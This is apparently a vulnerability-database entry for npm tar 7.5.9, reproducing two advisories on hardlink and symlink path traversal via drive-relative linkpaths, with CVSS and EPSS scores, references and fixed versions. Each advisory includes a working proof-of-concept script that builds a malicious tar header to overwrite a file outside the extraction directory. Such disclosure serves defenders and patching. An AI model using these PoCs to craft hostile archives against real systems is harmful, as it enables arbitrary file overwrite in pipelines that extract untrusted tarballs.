Lookup for vulnerable packages by Package URL.

Purlpkg:npm/tar@7.5.9
Typenpm
Namespace
Nametar
Version7.5.9
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version7.5.11
Latest_non_vulnerable_version7.5.11
Affected_by_vulnerabilities
0
url VCID-bj4b-gq5e-2kfy
vulnerability_id VCID-bj4b-gq5e-2kfy
summary
tar has Hardlink Path Traversal via Drive-Relative Linkpath
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```

Observed output:

```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt
```

`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-29786.json
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-29786.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-29786
reference_id
reference_type
scores
0
value 5e-05
scoring_system epss
scoring_elements 0.00246
published_at 2026-04-04T12:55:00Z
1
value 5e-05
scoring_system epss
scoring_elements 0.00276
published_at 2026-04-09T12:55:00Z
2
value 5e-05
scoring_system epss
scoring_elements 0.00245
published_at 2026-04-02T12:55:00Z
3
value 5e-05
scoring_system epss
scoring_elements 0.00277
published_at 2026-04-08T12:55:00Z
4
value 5e-05
scoring_system epss
scoring_elements 0.00243
published_at 2026-04-07T12:55:00Z
5
value 5e-05
scoring_system epss
scoring_elements 0.00269
published_at 2026-04-16T12:55:00Z
6
value 5e-05
scoring_system epss
scoring_elements 0.00271
published_at 2026-04-13T12:55:00Z
7
value 5e-05
scoring_system epss
scoring_elements 0.00272
published_at 2026-04-12T12:55:00Z
8
value 5e-05
scoring_system epss
scoring_elements 0.00275
published_at 2026-04-11T12:55:00Z
9
value 7e-05
scoring_system epss
scoring_elements 0.00586
published_at 2026-04-18T12:55:00Z
10
value 7e-05
scoring_system epss
scoring_elements 0.00627
published_at 2026-04-21T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-29786
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-29786
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-29786
3
reference_url https://github.com/isaacs/node-tar
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/isaacs/node-tar
4
reference_url https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-09T17:52:29Z/
url https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f
5
reference_url https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96
reference_id
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-09T17:52:29Z/
url https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-29786
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-29786
7
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2445476
reference_id 2445476
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2445476
8
reference_url https://github.com/advisories/GHSA-qffp-2rhf-9h96
reference_id GHSA-qffp-2rhf-9h96
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qffp-2rhf-9h96
fixed_packages
0
url pkg:npm/tar@7.5.10
purl pkg:npm/tar@7.5.10
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-qunt-xms1-a3cc
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.10
aliases CVE-2026-29786, GHSA-qffp-2rhf-9h96
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-bj4b-gq5e-2kfy
1
url VCID-qunt-xms1-a3cc
vulnerability_id VCID-qunt-xms1-a3cc
summary
node-tar Symlink Path Traversal via Drive-Relative Linkpath
### Summary
`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.

What happens with `linkpath: "C:../../../target.txt"`:
1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.10`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```

Observed output:

```text
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt
```

`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json
reference_id
reference_type
scores
0
value 6.2
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-31802
reference_id
reference_type
scores
0
value 7e-05
scoring_system epss
scoring_elements 0.00477
published_at 2026-04-04T12:55:00Z
1
value 7e-05
scoring_system epss
scoring_elements 0.00467
published_at 2026-04-09T12:55:00Z
2
value 7e-05
scoring_system epss
scoring_elements 0.00481
published_at 2026-04-02T12:55:00Z
3
value 7e-05
scoring_system epss
scoring_elements 0.0047
published_at 2026-04-08T12:55:00Z
4
value 7e-05
scoring_system epss
scoring_elements 0.00472
published_at 2026-04-07T12:55:00Z
5
value 8e-05
scoring_system epss
scoring_elements 0.00664
published_at 2026-04-12T12:55:00Z
6
value 8e-05
scoring_system epss
scoring_elements 0.00665
published_at 2026-04-13T12:55:00Z
7
value 8e-05
scoring_system epss
scoring_elements 0.00671
published_at 2026-04-11T12:55:00Z
8
value 8e-05
scoring_system epss
scoring_elements 0.00705
published_at 2026-04-21T12:55:00Z
9
value 8e-05
scoring_system epss
scoring_elements 0.00663
published_at 2026-04-18T12:55:00Z
10
value 8e-05
scoring_system epss
scoring_elements 0.00658
published_at 2026-04-16T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-31802
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31802
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31802
3
reference_url https://github.com/isaacs/node-tar
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/isaacs/node-tar
4
reference_url https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:56:31Z/
url https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad
5
reference_url https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256
reference_id
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:56:31Z/
url https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-31802
reference_id
reference_type
scores
0
value 8.2
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-31802
7
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2445881
reference_id 2445881
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2445881
8
reference_url https://github.com/advisories/GHSA-9ppj-qmqm-q256
reference_id GHSA-9ppj-qmqm-q256
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9ppj-qmqm-q256
fixed_packages
0
url pkg:npm/tar@7.5.11
purl pkg:npm/tar@7.5.11
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.11
aliases CVE-2026-31802, GHSA-9ppj-qmqm-q256
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-qunt-xms1-a3cc
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/tar@7.5.9